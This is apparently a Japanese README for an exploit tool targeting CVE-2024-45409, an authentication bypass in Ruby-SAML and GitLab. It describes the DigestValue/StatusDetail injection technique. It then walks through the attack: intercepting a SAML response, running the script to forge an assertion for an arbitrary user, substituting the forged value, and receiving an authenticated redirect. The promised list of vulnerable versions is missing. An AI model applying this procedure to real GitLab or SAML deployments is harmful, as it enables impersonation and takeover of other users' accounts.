
Ruby-SAML / GitLab 認証バイパス (CVE-2024-45409) エクスプロイト
このスクリプトは CVE-2024-45409 を悪用します。この脆弱性により、IDP が発行した署名済み SAML 文書にアクセスできる未認証の攻撃者が、SAML Response/Assertion を偽造し、GitLab 上の任意のユーザーとしてアクセスできるようになります。
以下の GitLab (CE/EE) の全バージョンが脆弱です:
このエクスプロイトは、変更した assertion の DigestValue を StatusDetail 要素に注入することで、SignedInfo ブロック内の値の代わりにこの値を使用する XPath セレクタを紛れ込ませることを可能にします。
apt install python3-lxml
まず URL と Base64 エンコードされた IDP SAML レスポンスを傍受し、次にスクリプトを使用して XML コンテンツを変更します。
POST /users/auth/saml/callback HTTP/1.1
Host: gitlab.test.local
[...]
SAMLResponse=PHNhbWxwOlJlc3Bv[...]
$ python3 CVE-2024-45409.py -r response.url_base64 -n [email protected] -d -e -o response_patched.url_base64
[+] Parse response
Digest algorithm: sha256
Canonicalization Method: http://www.w3.org/2001/10/xml-exc-c14n#
[+] Remove signature from response
[+] Patch assertion ID
[+] Patch assertion NameID
[+] Patch assertion conditions
[+] Move signature in assertion
[+] Patch response ID
[+] Insert malicious reference
[+] Clone signature reference
[+] Create status detail element
[+] Patch digest value
[+] Write patched file in response_patched.url_base64
その後、パラメータ SAMLResponse の値をスクリプトの出力と置き換えます。認証が成功すると、GitLab のホームページにリダイレクトされます。
HTTP/1.1 302 Found
Location: http://gitlab.test.local/
[...]
<html><body>You are being <a href="http://gitlab.test.local/">redirected</a>.</body></html>